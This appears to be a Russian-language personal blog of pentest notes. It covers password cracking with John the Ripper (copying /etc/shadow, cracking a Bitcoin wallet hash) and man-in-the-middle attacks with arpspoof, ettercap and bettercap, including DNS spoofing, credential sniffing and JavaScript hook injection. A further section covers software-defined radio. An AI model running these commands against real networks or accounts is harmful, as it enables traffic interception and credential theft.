вторник, 16 сентября 2014 г.

John the Ripper

www.openwall.com/john

Получить исходники последней версии:
git clone -b bleeding-jumbo git://github.com/magnumripper/JohnTheRipper JohnTheRipper
Инструкции по компиляции - в каталоге с исходниками. Будем использовать именно эту версию сообщества. Она более функциональна, в отличие от той, что бесплатно предоставляет OpenWall.

--test - запустить бенчмарк. Для бенчмарка можно указать конкретный тип хэша, например: --format=bitcoin.




 

 

 

 

 

 

Все полученные пароли (и их хэши) сохраняются в файле $JOHN/john.pot.
Показать полученные пароли призван параметр --show file следом за которым нужно укзать файл хэшей.

Типичная строка состояние перебора (отображается по нажатию любой клавиши) выглядит так:
0g 0:00:11:27 35,46% (ETA: 23:46:35) 0g/s 133.9p/s 407.8c/s 407.8C/s SS56789..12031956
0g - число подобранных паролей
0g/s - число подобранных паролей в секунду
133.9p/s - проверок пароля в секунду (для всех хэшей)
407.8c/s - проверок хэша в секунду
407.8C/s - комбинаций пароль-хэш (?) в секунду
В этом примере подбирается пароль для трёх хэшей, поэтому число проверок хэша/сек. в три раза больше чем число проверок пароля/сек.

Linux passwords

Хэши паролей хранятся в /etc/shadow [ Understanding /etc/shadow file, wikipedia Shadow_file ].
Например, для пользователя root запись в shadow может выглядеть так:
root:X014elvznJq7E:15943:0:99999:7:::
Хэш пароля выделен зелёным.
или так
aychedee:$6$vb1tLY1qiY$M.1ZCqKtJBxBtZm1gRi8Bbkn39KU0YJW1cuMFzTRANcNKFKR4RmAQVk4rqQQCkaJT6wXqjUkFcA/qNxLyqW.U/:15405:0:99999:7:::Все поля разделены двоеточием.
1. Логин пользователя aychedee -
2. Хэш и информация о шифровании. $6$vb1tLY1qiY$M.1ZCqKtJBxBtZm1gRi8Bbkn39KU0YJW1cuMFzTRANcNKFKR4RmAQVk4rqQQCkaJT6wXqjUkFcA/qNxLyqW.U/
Здесь поля разделены знаком доллара $
2.1 Тип хэша 6
On GNU/Linux, "$1$" stands for MD5, "$2a$" is Blowfish, "$2y$" is Blowfish (correct handling of 8-bit chars), "$5$" is SHA-256 and "$6$" is SHA-512, other Unix may have different values. [man]
2.2 Соль vb1tLY1qiY
2.3 Хэш, здесь это SHA-512 (86 символов). Формат в John --format=sha512crypt
3. Число дней спустя начало эпохи UNIX (1 января 1970) до дня, когда пароль последний раз был изменён.
Остальные поля обычно используются редко и отвечают в частности за политику изменения паролей.

Пример*

cp /etc/shadow .
cp /etc/passwd .
unshadow passwd shadow > passwords
john passwords





*программу unshadow можно найти в каталоге с john

Другие типы хэшей

Явно указать тип хэша --format=<hash-type>
john --format=raw-md5 md5-text 
Указать словарь --wordlist=<wordlist-file>
john --wordlist=/pentest/john-1.7.9-jumbo5/run/password.lst hash-file.txt
Для файла с единственным md5 хэшем d8578edf8458ce06fbc5bb76a58c5ca4 вывод будет следующим:





Угаданные пароли и их число отмечены жёлтым.

Извлечение хэша

В каталоге, где располагается исполняемый файл john, присутствует множество других программ, каждая из которых выполняет ровно одно действие: извлекает хэш, например из файла-кошелка bitcoin, с которым уже может работать john.
/opt/jumbo1.8/bitcoin2john.py wallet.dat > wallet.hash
Хэш, извлечённый из зашифрованого wallet.dat
$bitcoin$96$75de603ebb2213129fcc4b8603cdaababa3e606907ebdf0da43994616ff731d60b3f9881be6a3ae4b87a36ec297f23d0$16$1d2da7bb119fd59a$158407$96$8d058a511f1411c787ccf0a08b65d2415448345b5e8f85142e7546d8bb9630b2860cd8fa69224c92fb452aaa6a8f1db1$66$03f8e808b4e4e113dd8a32d71119754be2c730a77c5a9a78719877f51ec1def0ad
Далее можно приступать к перебору:
/opt/jumbo1.8/john wallet.hash --format:Bitcoin
Loaded 1 password hash (Bitcoin [SHA512 AES 128/128 SSE4.1 2x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
12345678         (?)
1g 0:00:00:00 DONE 2/3 (2014-09-17 16:06) 1.315g/s 10.52p/s 10.52c/s 10.52C/s 123456..abc123
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Алсо
 Вычислить md5 хэш можно следующим образом
echo -n "[eqyz" | openssl md5

Правила (rules

Синтаксис описан по ссылке выше. Правила используются для преобразования перебираемых паролей (например из словаря). Таким образом применяя правила можно увеличить (или при необходимости уменьшить) объём перебираемых паролей, преобразуется одно и то же слово в верхний\нижний регистр, повторяя его, добавляя к нему другое и т.п. Правила описываются в файле john.conf.
Самый очевидный способ это сделать, включить правила в режиме словаря
john --wordlist=all.lst --rules mypassw
Здесь нет необходимости приводить имя конкретного набора правил после ключа --rules. Правила для перебора по словарю приведены в разделе [List.Rules:Wordlist].


Добавим правило с названием CaseCASE: оставить слово как есть (:), преобразовывать в верхний регистр слово целеком (u), первую букву (с) и всё кроме первой буквы (C):
# Wordlist mode rules
[List.Rules:CaseCASE]
:
u
c
C

Теперь каждое слово из словаря будет проверятся как есть, в верхнем регистре и c заглавной буквой, нужно только указать название правила:
john hash --format=mscash --wordlist=wordlist.lst --rules=CaseCASE
Другие примеры команд используемых в описаниях правил:
t  - "переключить" раскладку в слове: Qwerty -> qWERTY;
r  - читать слова справа на лево: "Fred" -> "derF";
d  - "удвоить" слово: "Fred" -> "FredFred";
$X  - добавить символ X в конец слова;
^X  - добавить символ X в начало слова;
AN"STR" вставить строку STR в слово начиная с номера символа N
Чтобы добавить строку в конец, вместо номера символа - "z", 0 - добавить строку перед словом;
@X - удалить все вхождения символа X в слово.

Можно добавлять к слову не только постоянное выражение, но и символы из заданного диапазона:

$"[0-9]" - добавить одну цифру из диапазона от 0 до 9 в конец слова;
Az"[0-9][a-z]" - можно добавлять несколько символов из разных диапазонов;
$"[a-zA-Z]" - добавить символ из объединённых диапазонов;
$"[XYZ]" - добавить один символ из перечисленных;
Az"20[0-1][0-9]" - добавить числа с 2000 по 2019;
sXY - заменить символ X на Y.
Если производится замена одного символа на другой, то лучше сперва проверить, присутствует ли первый в слове, иначе слово останется без изменений. Получается, что john лишний раз проверит неизменённое слово. Чтобы этого избежать, сточит использовать следующее выражение
/XsXY - если в слове есть символ X, то заменить его на Y, иначе пропустить слово.


В Интернете опубликованы множество наборов правил, в том числе в wiki разработчиков john. Не обязательно добавлять новые правила в john.conf копипастой, лучше добавить файл правил указав его расположение, например: .include <KoreLogic.rules>. Здесь файл должен располагаться там же, где и john.conf.

***

Использовать John для генерации словаря (--stdout)
john --incremental --stdout > wordlist
Сессии
Продолжить предыдущую прерванную сессию:
john --restore 
при необходимости указать файл (john.rec, без расширения) в котором записана  информация (параметры и состояние) о последней сессии:
john --restore=/opt/jumbo1.8/john
Именованные сессии удобно использовать если запущенно несколько экземпляров приложения. Давать названия (--session=NAME) можно только новым сессиям. Узнать состояние предыдущей или указанной сессии --status[=NAME].

***

Отправка сообщения по окончанию процесса перебора
Процесс подбора пароля ожидаемо может быть долгим, поэтому логичным будет как-то информировать пользователя об его окончании. Самый простой путь - добавить комманду через точку с запятой после вызова john:
john --format=raw-md5 md5-text; notify-send "John complited"
Обыкновенный вывод уведомления на экран программой notify-send не подходит, то можно отправить XMPP сообщение программой sendxmpp или емейл программой mailx. [linux notes]

Если возникает необходимость настроить отправку сообщения когда john уже запущен и нет желания прерывать его работу, то можно воспользоваться простеньким однострочным скриптом:
while [ `pidof john` ]; do sleep 10; done; notify-send "..."
Скрипт будет выполнять команду sleep 10, до тех пор пока он может получить pid процесса с именем john. Затем, когда pid не будет получен (процесс john завершится) выполнится следующая комманда - notify-send. Разумеется для корректной работы скрипта нужно чтобы работал только один экземпляр процесса john.

Ссылки

http://blog.thireus.com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords
http://blog.thireus.com/tag/john-the-ripper
JTR CHEAT SHEET

Crunch – Как создать словарь для брута
пароли Windows
online md5 decryptor 

четверг, 4 сентября 2014 г.

Man in the middle (MitM)

Используемая в примерах ОС - Ubuntu 14.04. Значительная часть приведённых операций требует прав суперпользователя и утилиты об этом так или иначе сообщают, если им не хватает полномочий. Будем считать, что все команды выполняются от имени суперпользователя.

ARP poisoning (spoofing)

Address Resolution Protocol - протокол определения адреса. С помощью этого протокола можно определить MAC адрес по известному IP.

1. Включить IP forwarding.
Если IP forwarding выключен, то перехваченный трафик никуда дальше хоста атакующего не пойдёт.
echo 1 > /proc/sys/net/ipv4/ip_forward 
При использовании sudo, не всегда удаётся произвести изменения в этом файле. Решение:
echo "1" | sudo tee /proc/sys/net/ipv4/ip_forward 

2. Произвести ARP-spoofing. Инструменты.
Рассмотрим два инструмента arpspoof и ettercap, которые позволяют провести ARP-spoofing.

 

dsniff

Использовать утилиту arpspoof из пакета dsniff, указав перенаправлять пакеты с целевого хоста (-t) через машину атакующего на хост 192.168.1.1, что указан последним параметром и наоборот (-r).
arpspoof -i wlan0 -t 192.168.1.36 -r 192.168.1.1
где 192.168.1.1 - роутер, через который проходит трафик из/во внешнюю сеть, 192.168.1.36 - атакуемый хост, машина, в подсети роутера.
Вывод:

99:99:99:99:99:99 11:11:11:11:11:11 0806 42: arp reply 192.168.1.36 is-at 99:99:99:99:99:99
99:99:99:99:99:99 33:33:33:33:33:33 0806 42: arp reply 192.168.1.1 is-at 99:99:99:99:99:99
<...>

Таким образом, программа сообщает роутеру (IP 192.168.1.1, MAC 11:11:11:11:11:11), что атакуемый хост (IP 192.168.1.36 и MAC 33:33:33:33:33:33), якобы имеет MAC 99:99:99:99:99:99, что на самом деле является адресом атакующего. Аналогично, вводится в заблуждение и хост атакуемого (вторая строчка вывода программы). Теперь весь трафик между роутером и жертвой будет проходить через компьютер атакующего.

Не всегда есть необходимость перехватывать трафик в обоих направлениях. Если целью атаки является перехват паролей, то достаточно перехватить трафик от жертву к шлюзу.

 

ettercap

Используем ettercap в текстовом режиме (-T), без вывода содержимого пакетов (-q) на интерфейсе (-i) wlan0. Ключ -M с параметром arp:remote говорит о проведении arp spoofing атаки. Последними параметрами, заключенные в двойные слеши, указаны хосты, между которыми нужно перехватить трафик.
ettercap -Tq -i wlan0 -M arp:remote  //192.168.1.1// /192.168.1.36//
ettercap 0.8.0 copyright 2001-2013 Ettercap Development Team
Listening on:
 wlan0 -> 99:99:99:99:99:99
      192.168.1.34/255.255.255.0
      fe80::1af4:6aff:fe40:66f2/64
Privileges dropped to UID 0 GID 0...
  33 plugins
  42 protocol dissectors
  57 ports monitored
16074 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Scanning for merged targets (2 hosts)...
* |==================================================>| 100.00 %
2 hosts added to the hosts list...
ARP poisoning victims:
 GROUP 1 : 192.168.1.1 11:11:11:11:11:11
 GROUP 2 : 192.168.1.36 33:33:33:33:33:33
Starting Unified sniffing...
Клавиши интерактивного управления ettercap:

 [vV]      - change the visualization mode
 [pP]      - activate a plugin
 [fF]      - (de)activate a filter
 [lL]      - print the hosts list
 [oO]      - print the profiles list
 [cC]      - print the connections list
 [sS]      - print interfaces statistics
 [<space>] - stop/cont printing packets
 [qQ]      - quit



bettercap


Многофункциональный инструмент для проведения MitM атак написанный на Ruby. Помимо проведения ARP спуфинга, имеет в своём арсенале сниффер (HTTP, FTP, ...), HTTP(S) прокси сервер, HTTP сервер.

Перед использованием необходимо установить пакеты
sudo apt-get install build-essential ruby-dev libpcap-dev
затем установить bettercap непосредственно
gem install bettercap
Самый простой сценарий использования, arp-spoofing:
bettercap -T 192.168.1.10, 192.168.1.11



Утилита автоматический определяет шлюз (getway), так что в параметрах остаётся указать только адреса хостов в подсети.

Конечно же можно сохранять трафик:
bettercap -T 192.168.2.37 --sniffer-output bettercap_out.cap
Запустить в режиме HTTP сниффера с логгированием в файл http-headers.log
bettercap -T 192.168.2.37 --sniffer-filter "tcp port http" --log http-headers.log
Все http заголовки по умолчанию выводятся в реальном времени на экран. Ключ --silent призван отключить этот вывод.


Что использовать в Windows?
Cain&Abel - arp-spoofing
Interceptor NG - arp-spoofing


Какие возможности даёт ARP-spoofing? 

 

DNS spoofing

Рассмотрим DNS spoofing, направлений против хоста, совершающегo запрос к DNS серверу. Предварительно выполнив ARP-spoofing, будем перехватывать ответы DNS сервера если они будут соответствовать нашим правилам замены, то заменять. Используем ettercаp.

1. Отредактировать правила перенаправления в файле:
/etc/ettercap/etter.dns
Например перенаправлять запросы к google.com на локальный адрес 192.168.1.34
google.com      A   192.168.1.34
*.google.com    A   192.168.1.34
www.google.com  PTR 192.168.1.34
 2. Запустить ettercap для выполнения подмены ответов DNS сервера:
-P dns_spoof - использовать плагин dns_spoof:
ettercap -Tq -i wlan0 -P dns_spoof -M arp:remote //192.168.1.1// //192.168.1.44//
Активировать плагин dns_spoof можно и после того как ettercap был запущен. Как это сделать подскажет меню ettercap, которое можно увидеть нажав клавишу h во время работы программы.
Если с машины попытаться зайти на google.com то вывод будет таким: 
<...>
Activating dns_spoof plugin...

dns_spoof: [google.com] spoofed to [192.168.1.34]
Ответы на запрос google.com, заменяются в соответствии с правилами, в то время как остальные приходят без изменения.


192.168.1.1 - роутер, 192.168.1.44 - хост, на который производится атака, 192.168.1.34 - IP google.com после спуфинга.

Данный вид атаки может применяться для перенаправленияатакуемого на страницу с вредоносным кодом (Metasploit Browser Autopwn ), для дальнейшего проникновения.

bettercap
Похожим образом работает bettercap, целевой IP адрес (-T <ip>) - не обязательный параметр:
bettercap --dns dns.conf
Содержимое файла, в котором описаны правила замены описывается в виде регулярных выражений. Например
192.168.1.2 .*  # заменит любой адрес на 192.168.1.2

Traffic dumping

Сохранить на диск перехваченный трафик можно с помошью гуёвого wireshark, консольных tshark и tcpdump, etc. 
tcpdump -i интерфейс -w файл-для-записи
tcpdump -i wlan0 -w dump.pcap
Для записи только перехваченного трафика нужно использовать фильтр по IP  (при необходимости добавить порт port <post>):
tcpdump -i wlan0 -w dump.pcap host 192.168.1.36 and port 80
src <IP>, dst <IP>, host <IP> - фильтровать по IP отправителя пакета, получателя, или получатели или отправитель соответственно.
src и dst ипользуются и чтобы указать порт-источник и порт-получатель, для сложного фильтра используются логические операторы or, and и not (||, && и !). more about tcpdump

 

Перехват изображений. driftnet

Программа извлекает изображения (JPEG, GIF) из трафика, а также потоковое аудио.
По умолчанию показывает пойманные изображения по мере их перехвата в отдельном окне, необходимо указать интерфейс (-i) или файл с дампом трафика -f.
driftnet -i wlan0
Сохранить изображение можно по клику.
Записывать изображения (-a) на диск (-d path):
driftnet -i wlan0 -a -d images/

Перехват HTTP заголовков. urlsnarf 

Перехватывает и выводит HTTP запросы в Common Log Format.

Перехват логинов и паролей. ettercap

Программа автоматически выводит перехваченные логины и пароли:
HTTP : 147.144.1.3:80 -> USER: Qqqqqqqqq  PASS: 11111qeejdjdjdjejejsjsj  INFO: http://fog.ccsf.edu/~sbowne/login1.html
CONTENT: username=Qqqqqqqqq&password=11111qeejdjdjdjejejsjsj

Перехват паролей возможен только для протокола http. Кроме того, браузер на машине атакуемого, может предупредить (или вообще заблокировать страницу) о невозможности проверить достоверность соединения, если используется протокол https. Забить тревогу могут и остальные программы использующие SSL, например почтовый клиент.

SSL strip

Инъекция JavaScript

Bettercap позволяет внедрять JS используя модуль прокси-сервера [bettecrap blog].
Инъекция для всех устройств в подсети
bettercap --proxy-module injectjs --js-url "http://192.168.1.3:3000/hook.js"
только конкретный IP (192.168.1.170):
bettercap -T  --proxy-module injectjs --js-url "http://192.168.1.3:3000/hook.js"
***
Фреймворк MITMf содержит уже готовый js кейлоггер. см. MITMf

Другие возможности 
- Изменение\подмена загружаемый файлов. Например внедрение кода в exe файлы см. MITMf

Сниффер Intercepter-NG научился подменять файлы в HTTP-трафике

Ссылки

среда, 3 сентября 2014 г.

Software Defined Radio (SDR)

Введение

Тюнеры

Можно использовать большинство недорогих китайских usb-тюнеров (см. ebay.com) обладающих АЦП RTL2832U и чипом-тюнером E4000 или R820T. Однако эти тюнеры не пригодны для просмотра аналогового ТВ (где полоса приёма 6-8МГц превышает возможности тюнера) или цифрового ТВ стандарта DVB-T2 (карта использования).
Тюнер на RTL2832U и R820T способен принимать в диапазоне частот от ~24МГц до ~1766МГц. Частота дискретизации до 3.2 МГц, при частоте выше 2.8 МГц могут быть потери данных.


Начало

Далее речь пойдёт о ПО для GNU/Linux, которое, однако, может быть и кроссплатформенным. Все примеры проверены на USB 2.0 DVB-T/DAB/FM RTL2832U R820T приёмнике.
Для зашиты от помех устройство было экранировано обыкновенным алюминиевым скотчем (примерно так). Другие рекомендации по уменьшению шумов.

Просмотрим буфера сообщений ядра dmesg на предмет наличия только что подключённого устройства (выдело жирным):
 dmesg -T | tail

[Чт. авг. 17 23:27:17 2019] usb 2-1.2: New USB device found, idVendor=0bda, idProduct=2838
[Чт. авг. 17 23:27:17 2019] usb 2-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[Чт. авг. 17 23:27:17 2019] usb 2-1.2: Product: RTL2838UHIDIR
[Чт. авг. 17 23:27:17 2019] usb 2-1.2: Manufacturer: Realtek
[Чт. авг. 17 23:27:17 2019] usb 2-1.2: SerialNumber: 00000001
Запустим программу rtl_test, чтобы окончательно убедится, что всё в порядке:
Found 1 device(s):
  0:  Realtek, RTL2838UHIDIR, SN: 00000001

Using device 0: Generic RTL2832U OEM
Found Rafael Micro R820T tuner
Supported gain values (29): 0.0 0.9 1.4 2.7 3.7 7.7 8.7 12.5 14.4 15.7 16.6 19.7 20.7 22.9 25.4 28.0 29.7 32.8 33.8 36.4 37.2 38.6 40.2 42.1 43.4 43.9 44.5 48.0 49.6
Sampling at 2048000 S/s.

Info: This tool will continuously read from the device, and report if
samples get lost. If you observe no further output, everything is fine.

Reading samples in async mode...

Если возникает ошибка:

Found 1 device(s):
  0:  Generic RTL2832U OEM
Using device 0: Generic RTL2832U OEM
Kernel driver is active, or device is claimed by second instance of librtlsdr.
In the first case, please either detach or blacklist the kernel module
(dvb_usb_rtl28xxu), or enable automatic detaching at compile time.
usb_claim_interface error -6
Failed to open rtlsdr device #0.

то решить её на один раз можно отключив модуль ядра dvb_usb_rtl28xxu, как и советует вывод программы выше:

modprobe -r dvb_usb_rtl28xxu


Программы

GNURadio [link]

Мощный инструмент для обработки сигналов. Представляет собой достаточной простой способ для обработки сигналов с помощью создания диаграмм потока управления, которые автоматически генерируются в pyhon скрипты. Позволяет визуализировать, изменять, модулировать, получать и эмулировать сигналы.

GQRX [link]

Графическая утилита, в основе которой лежит фрейморк GNURadio. Водопад, управление по сети, вещание в сеть, запись сигнала, запись демодулированого сигнала.
AM, SSB, FM-N и FM-W демодуляция.

Управлять программой (предварительно включив фичу):
telnet localhost 7356
  • F – set frequency
  • f – get frequency
  • l – get level (signal strength)
  • M – set mode: OFF, RAW, AM, FM, WFM, WFM_ST, LSB, USB, CW, CWL, CWU
  • m – get mode
  • c – close connection
  • AOS – Acquisition of signal, start audio recorder
  • LOS – Loss of signal, stop audio recorder
As an example consider the following session:
F 123456789
RPRT 0
f 123456789
c
Connection closed by foreign host.
Подключится к программе с помощью netcat и проигрывать аудиопоток с помощью ALSA player:
nc -l -u 7355 | aplay -r 48k -f S16_LE

* На данный момент (август 2015) GQRX работает с rtl_tcp некорректно, отображаемая картинка может не соответствовать передаваемым rtl_tcp данным.

rtl_test

Проверить приёмник

rtl_test -t

 

rtl_fm, Rtl_fm Guide

Демодулировать (-M wbfm) радио  на частоте (-f 89.1M) и воспроизвести используя утилиту play из пакета Sox:
rtl_fm -M wbfm -f 89.1M | play -r 32k -t raw -e s -b 16 -c 1 -V1 -
Сохранить результат работы rtl_fm в файл:
rtl_fm -M wbfm -f 89.1M > radio.bin
Проигрывать аудиопоток можно вышеприведённой командой aplay
cat radio.bin | aplay -r 24k -f S16_LE

 

rtl_power [man]

Использовать водопад для мониторинга не всегда удобно, т.к. он показывает небольшой фрагмент истории изменения амплитуды. Чтобы записать подобную историю (но не сам сигнал) используется rtl_power:
rtl_power -f 118M:137M:8k -g 50 -i 10 -e 1h airband.csv
-f начало:конец:шаг - частотный диапазон и разрешение;
-g - усиление;
-i - шаг(разрешение) по времени в секундах;
-e - продолжительность сбора данных.

Результатом вышеприведённой команды будет файл в формате
date, time, Hz low, Hz high, Hz step, samples, dB, dB, dB, ...


Этот файл подойдёт для автоматической обработки. Cкрипт heatmap.py конвертирует собранную информацию в водопад и сохранит в png.



Для того чтобы rtl_power обрубал края полосы частот тюнера, где качество приёма хуже чем в центре используется ключ -c n, где n=0..1 - доля обрезаемого спектра.

multimon-ng [github]

Декодирует данные, передаваемые по цифровым радио протоколам, в том числе POCSAG.

 

rtl_433 [github]

Показывает данных различных сенсоров, передаваемые (в основном) на частоте 433МГц.
Запустить rtl_433 в режиме анализатора (-a). Программа будет выводить сигнал в бинарном представлении, без интерпретации.

rtl_433 -f 43380000 -a
Вывод:
*** signal_start = 725249308, signal_end = 725358603
signal_len = 109295,  pulses = 78
Iteration 1. t: 365    min: 241 (45)    max: 490 (33)    delta 7585
Iteration 2. t: 365    min: 241 (45)    max: 490 (33)    delta 0
Pulse coding: Short pulse length 241 - Long pulse length 490
Short distance: 241, long distance: 485, packet distance: 18045
p_limit: 365
[00] {26} 3a 7c 0a 00 : 00111010 01111100 00001010 00000000
[01] {26} 3a 7c 0a 00 : 00111010 01111100 00001010 00000000
[02] {26} 3a 7c 09 00 : 00111010 01111100 00001001 00000000


dump1090 [github]

Посмотреть табличку с информацией (ADS-B протокол) о самолётах в зоне приёма тюнера:
dump1090 --interactive
По-умолчанию высота - в футах, скорость - в узлах.
Hex    Flight   Altitude  Speed   Lat       Lon       Track  Messages Seen . 
--------------------------------------------------------------------------------
Перевести единицы в метрические - --metric
В сетевом режиме (--net) на порт 30003 подаётся следующая информация:
MSG,1,,,4CB88C,,,,,,AZA621  ,,,,,,,,0,0,0,0
MSG,4,,,4CB88C,,,,,,,,434,311,,,64,,0,0,0,0
MSG,3,,,4CB88C,,,,,,,36000,,,5.06025,90.24252,,,0,0,0,0
4CB88C - ICAO address, AZA621 - номер рейса, 434 - скорость (узлы, морских миль (1.83км) в час), 311 - направление (градусы), 36000 высота (футы, 0.3048м), 5.06025,90.24252 - широта,долгота.
Ключом --net можно воспользоваться для запуска http сервера с картой и самолётами в реальном времени. Порт по-умолчанию - 8080.


Пример использования. Запустим программу в интерактивном режиме, чтобы просматривать в реальном времени информацию о самолётах в табличном виде. Также запустим веб сервер на порту 8090. Включим автоматическое управление усилением сигнала и агрессивный алгоритм обработки данных, дабы корректировать ошибки.


./dump1090 --interactive --net --net-http-port 8090 --enable-agc --aggressive


Чтобы иметь возможность просмотреть историю (в интерактивно режиме показываются только "видимые" в данный момент самолёты), подключимся к порту 30003.

nc localhost 30003
В браузере откроем интерактивную карту по адресу http://localhost:8090/




Ссылки
Очень простая антенна для приёма ADS-B - http://antirez.com/news/46
Аналог - rtl_adsb. Ещё аналоги - по ссылке ниже.

DSD [github]

Digital Speech Decoder декодирует цифровое радио стандартов P25 Phase 1, D-STAR и др.
mkfifo pipe.wav
dsd -i pipe.wav -w test.wav

rtl_fm -f 421.577M -s 48k > pipe.wav

 

Алсо

Посмотреть на короткий сигнал с бинарными данными модулированый, например в OOK, можно в аудиоредакторе Audacity [ You can ring my bell! Adventures in sub-GHz RF land...].

***

  • Sample rate (частота дискретизации)
  • PPM (parts per million, миллионная доля) - в контексте SDR, величина характеризующая погрешность работы резонатора тюнера. Линеен для всей полосы частот. Выполнить коррекцию частоты приёмника можно настроившись на известную и подобрать этот параметр, чтобы компенсировать разницу между фактической частотой и той, на которую настроен приёмник. [Точная калибровка донгла RTL-SDR по GSM]
  • I/Q сигнал - сигнал представленный в виде двух независимых компонент I (синфазная) и Q (квадратурная), которые однозначно описывают частоту и амплитуду сигнала в данный момент времени. I/Q Data for Dummies
  • POCSAG - пейджинговый протокол. 
  • APRS (Automatic Packet Reporting System) - цифровая любительская радиосвязь. 
  • ADS-B (Automatic dependent surveillance-broadcast), АЗН-В (автоматическое зависимое наблюдение-вещание) - коротко: протокол, по которому самолёт может передавать информацию о себе (ICAO код, онлайн БД, ещё) и своём движении (широта, долгота, направление, скорость, высота). flightradar24 - движение самолётов он-лайн. 
  • APCO P25 
  • OOK\ASK модуляция в которой бинарные символы 1 и 0 кодируются сигналом c высокой и нулевой\низкой (соответственно OOK\ASK) амплитудой.

Ссылки

Таблица частот
Signal Identification Guide 
rtl-sdr.com